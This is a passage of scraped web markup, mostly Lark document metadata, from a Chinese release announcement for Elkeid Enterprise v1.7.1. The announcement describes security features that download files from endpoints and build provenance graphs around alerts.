data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:72,&#34;end&#34;:73,&#34;blockIds&#34;:[79,80],&#34;recordIds&#34;:[&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;],&#34;recordMap&#34;:{&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;:{&#34;id&#34;:&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;端上文件下载&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;:{&#34;id&#34;:&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;inlineCode&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+j*0*1+4*0+1*0*1+5*0+w&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 整合了端上溯源能力，其中文件路径和进程二进制均支持页面点击触发端上文件下载，节省运营人员登机排查样本的时间。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5528455284552846" data-s="300,640" style="width: 354px;height: 196px;" data-type="png" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=1ddb334a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCK0hI4fjoDp6jutqianIkqm9XjexCP38dEQMWiathic4HffDO4gF9ksd2w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>告警自动溯源</strong></p></li></ul><p>当告警触发后，Elkeid会自动对恶意行为进行的上下文行为进行关联溯源，将告警放置到相关的原始数据中，以<strong>溯源图</strong>（<strong>Provenance Graph</strong>）的形式来帮助运营人员更好的理解告警上下文。目前支持关联的原始数据类型有：<strong>进程创建，文件创建，</strong><strong>DNS</strong><strong>请求，网络连接，监听端口，加载内核模块</strong>。</p><p><br/></p><p>例一：</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:78,&#34;end&#34;:80,&#34;blockIds&#34;:[85,86,87],&#34;recordIds&#34;:[&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;],&#34;recordMap&#34;:{&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;:{&#34;id&#34;:&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;告警自动溯源&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;seq&#34;:&#34;auto&#34;}},&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;:{&#34;id&#34;:&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:5,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820931234848342018&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;3&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;6408ce69-34df-43f2-8a26-011359120faa\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_35630522\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1*1+5*0+i*1+3*0+9*2+1*0+2*2+3*0+7*2+3*2*3+3*2+1*2*3+g*2+5*0+d*2+4*0+f*0*3+a*4*0*3+3*0*3+j*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;当告警触发后，Elkeid会自动对恶意行为进行的上下文行为进行关联溯源，将告警放置到相关的原始数据中，以溯源图（Provenance Graph）的形式来帮助运营人员更好的理解告警上下文。目前支持关联的原始数据类型有：进程创建，文件创建，DNS请求，网络连接，监听端口，加载内核模块。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;:{&#34;id&#34;:&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例一：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2